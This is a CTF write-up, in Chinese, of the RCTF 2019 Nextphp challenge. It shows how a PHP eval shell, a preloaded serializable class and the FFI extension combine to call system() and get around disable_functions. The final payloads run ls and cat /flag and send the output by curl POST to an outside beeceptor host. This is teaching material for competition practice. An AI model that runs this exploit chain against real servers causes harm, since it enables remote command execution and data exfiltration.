# \[RCTF 2019]Nextphp

## \[RCTF 2019]Nextphp

## 考点

* PHP FFI
* PHP opcache
* bypass disable\_functions

## wp

给了个shell的源码

```php
<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}
```

`?a=phpinfo();`看到phpinfo中设置了disable\_functions

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2Fu9EhT40BUI0vfpevrSKg%2Fimage.png?alt=media\&token=5dc98ffa-55d9-435d-8b53-91c724db2960)

`?a=var_dump(scandir('/'));`提示没有权限，`?a=var_dump(scandir('.'));`看到两个文件，index.php和preload.php。再读取preload.php

```php
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}
```

实际上还是要仔细观察phpinfo，可以看到设置了opcache.preload，启用了FFI，禁用了反射类

```
opcache.preload：/var/www/html/preload.php
open_basedir：/var/www/html
disable_classes：ReflectionClass
disable_functions:
```

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FQXvbf7ehH3Rt6OfnBQ5p%2Fimage.png?alt=media\&token=296a8b1e-6e19-4b7c-915a-9139b6f9975f)

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FEXXtLl4bJ0yy65Rwep5w%2Fimage.png?alt=media\&token=344309da-107e-4d93-ba71-577665dd6d94)

[opcache.preload](https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload) 是 **PHP7.4** 中新加入的功能。如果设置了 [opcache.preload](https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload) ，那么在所有Web应用程序运行之前，服务会先将设定的 **preload** 文件加载进内存中，使这些 **preload** 文件中的内容对之后的请求均可用。更多细节可以阅读：[https://wiki.php.net/rfc/preload](https://wiki.php.net/rfc/preload) ，在这篇文档尾巴可以看到如下描述：

> In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说允许在 **preload** 文件中使用 **FFI** 拓展，但是文档中说了 **FFI** 是一个危险的拓展，而这道题目却开启了 **FFI** 拓展。我们可以参考文档：[https://wiki.php.net/rfc/ffi](https://wiki.php.net/rfc/ffi) 中的例子：

```php
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is regular C declaration
    "libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");
```

如果不设置 **FFI::cdef** 的第二个参数，也可以调用 **C** 函数。那么命令执行函数格式如下

```php
<?php
$ffi = FFI::cdef("int system(const char * command);");
$ffi->system("whoami");
```

preload.php中定义了A类，实现了Serializable接口，`__unserialize()`函数会在反序列化时被调用。这一特性是在PHP7.4中新加入的，具体可参考：[https://wiki.php.net/rfc/custom\_object\_serialization](https://wiki.php.net/rfc/custom_object_serialization)

```php
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];
    public function serialize (): string {
        return serialize($this->data);
    }
    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
    public function __get ($key) {
        return $this->data[$key];
    }
    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

}
echo base64_encode(serialize(new A()));
// QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319I7fX0
```

传入`?a=var_dump(unserialize(base64_decode("QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319")));`

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FYzBWLv0SlCGM787PkRXJ%2Fimage.png?alt=media\&token=781a1a98-aae0-4d38-88f4-4f467a522309)

触发`A::run()`从而把FFI对象返回给`A->data['ret']`，再用`A::__get()`函数就可以获取FFI对象了

`?a=var_dump(unserialize(base64_decode("QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319"))->__get('ret'));`

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FFaXHBOW60shZKNbMc81K%2Fimage.png?alt=media\&token=cba0cf7f-41ff-4aa0-979d-1cee352e79b1)

最后payload

```
?a=var_dump(unserialize(base64_decode("QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319"))->__get('ret')->system("echo `ls /` > 1.txt;curl -v -X POST 'https://peri0d.free.beeceptor.com/my/api/' -d @1.txt"));
?a=var_dump(unserialize(base64_decode("QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319"))->__get('ret')->system("echo `cat /flag` > 1.txt;curl -v -X POST 'https://peri0d.free.beeceptor.com/my/api/' -d @1.txt"));
```

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FiAnJOFfqho43RIbps2sh%2Fimage.png?alt=media\&token=e8272164-6b93-4999-a4d3-f601396f1964)

## 小结

1. [RCTF2019Web题解之nextphp](https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp)
